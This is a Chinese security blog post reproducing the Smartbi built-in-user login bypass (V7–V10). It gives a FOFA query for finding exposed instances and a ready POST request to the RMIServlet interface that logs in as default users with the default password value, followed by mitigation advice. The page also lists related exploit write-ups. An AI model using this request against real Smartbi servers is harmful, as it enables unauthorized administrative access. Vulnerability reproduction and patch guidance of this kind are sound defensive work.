实战|Smartbi---意外的福利

我是如何利用火器捡漏洞的 作者:laraveek 一、引子 当一个新漏洞被曝光后,如何才能快速在互联网上找到相关资产? 网络空间搜索引擎是一个不错的选择,例如FOFA、shodan等。 举个例子,这几天新爆了一个“Yapi认证用户利用Mock功能远程命令执行漏洞”, FOFA搜索语法为:app=“YApi” 通过这个方法能快速定位到资产! 二、常用的FOFA语法整理 Bucket劫持 body=“NoSuchBucket” && body=“BucketName” && country=“CN” 阅读详情

目录

漏洞描述

影响版本

fofa语法

漏洞复现

构造poc

修复建议


本文由掌控安全学院 - beize 投稿

漏洞描述

Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。

图片

影响版本

V7 <= Smartbi <= V10

fofa语法

FOFA:app=”SMARTBI”

漏洞复现

http://ip/smartbi/vision/RMIServlet
 

图片


出现以上页面则表示代码存在

构造poc
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: ip
Content-Type: application/x-www-form-urlencoded


className=UserService&methodName=loginFromDB&params=["system","0a"]

请求体中传入的三个参数

className:必须指定UserService类名methodName:该类调用的方法loginFromDB

params:其中的第一个参数是内置的三个用户名(public、service、system)可随机构造,第二个参数是三个账号默认的密文密码(默认值为0a)
这里就涉及到代码审计的内容,附上链接
https://exp.ci/2023/06/17/Smartbi-%E5%86%85%E7%BD%AE%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/

将构造好的数据包放出然后刷新页面即可登录

你以为这就完了,怎么可能呢,来上福利

图片


然后我就在测试的时候遇上她,那一刻我的心是灰暗的,是破碎的,到嘴的鸭子就那么飞了,但是身为愣头青的我怎么可能就这么放弃呢,比较特征还是有的,于是就发现了一个新的漏洞。上图。

图片

正如你所见,那个系统日志是可以下载的,理所当然的是个高危,但是至于如何产生的就不得而知了,不确定是否是在环境搭建的时候,某些配置或环境冲突导致的。尝试重装后无法复现。但是个人觉得有一定的借鉴价值。

修复建议

临时缓解方案
在确认不影响业务的前提下,删除内置的几个账号(public、service、system)。同时如非必要,不要将Smartbi系统开放在互联网上。

升级修复方案
官方已发布升级补丁包,支持在线升级和离线补丁安装

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

【企业数字化】【smartbi】【数据库】3-创建关系数据源 双击目录中的表就可以进入编辑界面进行转义,所谓的转义就是给物理表的字段一个清晰的业务名称,让用户在建模时清楚其意义。点击MySQL,系统会预填一些信息,在此基础上补充你自己的hostIP,端口(mysql的话一般3306),用户名密码以及数据库名称。最后是设定一下物理表间的关系,做完这个准备后,后续对跨表的字段进行选取时,会自动按照指定关联关系联表。找到目录下的表关系视图节点,右击新建表关系视图。当表结构很规范,多表之间存在相同字段时,可以选择表关系视图下方的规则按钮,按照合适的规则自动批量创建表关系。 阅读详情

相关推荐

漏洞复现 || Smartbi 远程命令执行(1Day)

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!Smartbi在远程未授权身份认证的情况下,可在绕过用户身份认证机制后未授权访问windowsunloging接口,且该接口存在反序列化远程代码执行漏洞随后可使用获取的身份凭证调用后台接口最终导致代码执行。

失心少年 3179

SmartBI入门(二)配置SmartBI

具体可以参考文档 Smartbi Config页面介绍 - Smartbi V10帮助中心 - 如果是首次访问,需要设置“管理员账号、密码”,以便下次登录配置界面时验证,设置后用用户名密码登录即可172.16.94.3 系统配置页面 配置数据库(知识库),可以点击测试连接是否配置成功并上传授权文件 如果要做单点: 还要配置扩展包并修改用户认证 将“加密类型”设置为:CLASS 将“登录验证类”设置为:smartbi.logintoken.Logi...

tangxl_99的博客 6026

【企业数字化】【smartbi】【数据库】1-如何安装部署SmartBI

最近公司引进了SmartBI,这是一款快速制作报表的BI分析工具,可以让在库数据快速报表化可视化,学习这款BI工具对于快速上手此类在线BI分析工具都有帮助,所以开一个学习的系列。点击安装,完成后从Windows开始菜单找到SmartBi insight目录,点击启动SmartBI服务,跳出来一个控制台窗口,等到跳出Server startup in XXXX ms时服务启动成功。无脑下一步,直到设置端口号界面,默认6688,也可以选其它的,最好检测一下是否被占用,提供了检测按钮,点一下就行。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 964

Smartbi 修改用户密码漏洞

通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析。

蚁景网安学院 493

Smartbi内置用户登陆绕过漏洞复现

Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。

0xSec 5569

SmartBi安装配置指南

SmartBi安装配置指南,指导如何准确快速安装SmartBi并配置

漏洞复现--Smartbi smartbivisionRMIServlet 接口权限绕过漏洞

Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现,满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。该产品存在接口绕过漏洞,攻击者可通过此漏洞绕过登录流程。获取到的cookie为管理用户,可直接利用进入后台。

qq_53003652的博客 2147

医学图像配准实战:用Python实现MIND特征提取(附完整代码)

本文详细介绍了MIND(模态无关邻域描述符)在医学图像配准中的应用。通过Python和PyTorch实战,从原理到代码逐步解析了如何提取MIND特征,并利用其对结构而非灰度的感知能力,有效解决CT、MRI等多模态图像的对齐难题,为病灶追踪、手术导航等高级应用提供鲁棒性基础。

263

Smartbi 身份认证绕过漏洞

因为自己搭建的环境存在一些问题,可能是版本过高的原因,(奇奇怪怪的问题,用户没有权限),所以目前仅仅做概念性验证,对漏洞的原理进行分析。为什么不用原本的登录模式登录,首先原本的登录模式登录是不知道对应的账号和密码的其次我们再对原本的登录逻辑进行简单的分析。这里直接比较的是从数据库中查询出的密码,所以我们就可以直接利用内置的账号和 MD5密码登录。是从数据库中查找用户的密码,根据用户的密码开头的第一位字符,来进行处理比较。我们就注意到从数据库登录的操作也是不需要鉴权就可以进行访问的。

YJ_12340的博客 1497

利用Matlab实现矩形波导电磁场分布图的绘制

1.利用Matlab实现矩形波导电磁场分布图的绘制;2.学会使用 Matlab 进行数值计算,并绘出相应的图形;通过Matlab 计算并绘出任意时刻金属矩形波导的主模 TE10 模的电磁场分布图。波导尺寸、工作频率及时刻均由外部给定。(1)矩形波导中传输的主模为TE10模。设金属波导尺寸为a*b,TE10模的截止波长为2*a。其电磁场分量可推导表示如下:.......1-1上式中各参量如下:......1-2。

qq_26335381的博客 3058

通义灵码+高德 MCP:40分钟开发出游攻略网站

本文介绍了通义灵码与高德MCP在40分钟内快速开发出游攻略网站的全流程。主要内容包括:1)LingmaIDE开发环境的使用方法,涵盖界面操作、代码编辑、调试和智能编码功能;2)通义灵码智能体与高德MCP2.0的集成步骤,通过输入旅行需求即可自动生成包含天气卡片、景点路线等元素的HTML页面;3)重点展示了如何将行程规划导入高德地图APP,实现导航、打车等出行功能。整个开发过程充分利用了通义灵码的智能编码能力和高德地图的服务接口,显著提升了旅游类应用的开发效率。

soso1968的博客 985

springboot+mybatis+mysql (用户登录实例)

springboot+mybatis+mysql 编写RESTfulAPI(用户登录实例)创建项目新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLow...

十三月 8877

从GWAS到单细胞:利用seismic包精准定位疾病相关的关键细胞亚群与驱动基因

本文详细介绍了如何利用seismic包将GWAS与单细胞测序数据结合,精准定位疾病相关的核心细胞亚群与驱动基因。通过创新的统计算法和实战案例,帮助研究者从遗传汇总数据中挖掘关键生物学机制,提升疾病研究的精准度和效率。

weixin_29215815的博客 440

Smartbi 用户认证绕过+日志导出

Smartbi 用户认证绕过+日志导出

lza20001103的博客 1839

YOLOv11 改进 - SPPF模块 | 发论文神器!LSKA注意力改进SPPF,增强多尺度特征提取能力,高效涨点!!!

本文介绍了Large Separable Kernel Attention (LSKA)模块及其在YOLOv11中的结合应用。LSKA旨在解决Visual Attention Networks (VAN)使用大内核卷积时的计算效率问题,通过将2D深度卷积层的卷积核分解为级联的水平和垂直1-D卷积核,降低了计算复杂度和内存占用,且使VAN更关注物体形状。我们将集成LSKA的SPPF_LSKA模块引入YOLOv11,大量实验表明,改进后的模型在对象识别、检测、分割和稳健性测试上表现出色。

魔改工程师的博客 1278

MATLAB基础应用精讲-【强化学习】Actor - Critic 算法(附python代码实现)

这种架构结合了策略梯度方法(Policy - Gradient Methods)和价值函数估计方法(Value Function Estimation Methods)的优点。在强化学习中,智能体(Agent)需要通过与环境(Environment)的交互来学习最优的行为策略,以获得最大的累积奖励(Cumulative Reward)。

qq_36130719的博客 359

开源办公OA平台教程:SmartBI集成版快速部署及使用(O2OA容器化部署)

O2OA本身可以与SmartBI报表系统进行集成,通过应用市场中的《SmartBI报表集成》可以将两个系统进行集成,在O2OA页面中展示BI系统中制作的报表,单独集成的相关配置可以参考应用市场中的具体说明。流程:报销申请流程,用户新建报销申请流程,填写报销金额等数据给领导审核,流程结束后系统自动将报销数据存到数据中心的报销申请数据表中。注意事项:docker镜像中内置的SmartBI系统有用户和报表数量的限制,如需制作更多报表和使用更多用户,请联系O2OA商务。服务器依次启动:1、mysql数据库。

liyi_hz2008的博客 2324

mbedtls | 01 - 移植mbedtls库到STM32的两种方法

一、mbedtls 开源库 1. mbedtls是什么 Mbed TLS是一个开源、可移植、易于使用、代码可读性高的SSL库。可实现加密原语,X.509证书操作以及SSL / TLS和 DTLS 协议,它的代码占用空间小,非常适合用于嵌入式系统。 mbedtls遵循 Apache 2.0 开源许可协议,目前由 TrustedFirmware 维护(Linaro主持的一个治理开放社区项目),在Github上已收获 2.6k star,目前Github上发布的最新版本为 2.24.0 版本,开源仓库地址为:

Mculover666的博客(嵌入式) 1万+

Smartbi内置用户登陆绕过漏洞

Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。​ Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。

holyxp的博客 1733

【LDPC-7】LLR量化位宽对LDPC译码性能的影响分析——以最小和译码算法为例进行matlab仿真

最小和译码算法的步骤如下:最后译码结果如果满足或者完成所有迭代次数,则译码算法停止迭代,否则继续进行译码迭代操作。

FPGA/MATLAB学习教程/源码/项目合作开发 1471

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

记一次Smartbi登录绕过

失败的话更改用户:system,public,service三个内置用户都尝试一遍。有下面的回显说明有可能存在漏洞(有些站点不行)发送请求后刷新登录后台页面就进来了。用Hackbar发送post请求。找到目标站点验证是否存在漏洞。域名后面拼接以下路径。

紫洋的博客 873

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

关于Smartbi登录代码逻辑漏洞的动态情报

关于Smartbi登录代码逻辑漏洞的动态情报

zmcxyyds的博客 1855

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Smartbi的下载安装教程

Smartbi的下载安装 1、下载 官网下载地址:https://www.smartbi.com.cn/download 进入网页后点击立即下载按钮 下载安装包和Excel插件 2、申请试用 点击立即申请 手机号登录 选择试用版本,我选择的是个人试用 填写信息进行申请 提交成功后,下载License授权文件 至此我们需要的三个文件就下载成功了 安装 开始安装前,需要先关闭杀毒软件,不然可能导致安装失败,点击下一步 选择接受,然后下一步 我选的是个人试用版,公司名称可以随便填,然后下一步

YanErrr的博客 1万+
上一篇: 红队基础建设与介绍
下一篇: fastjson反序列化 CVE-2017-18349
普通网友
博客等级 码龄7年 3834粉丝 233原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值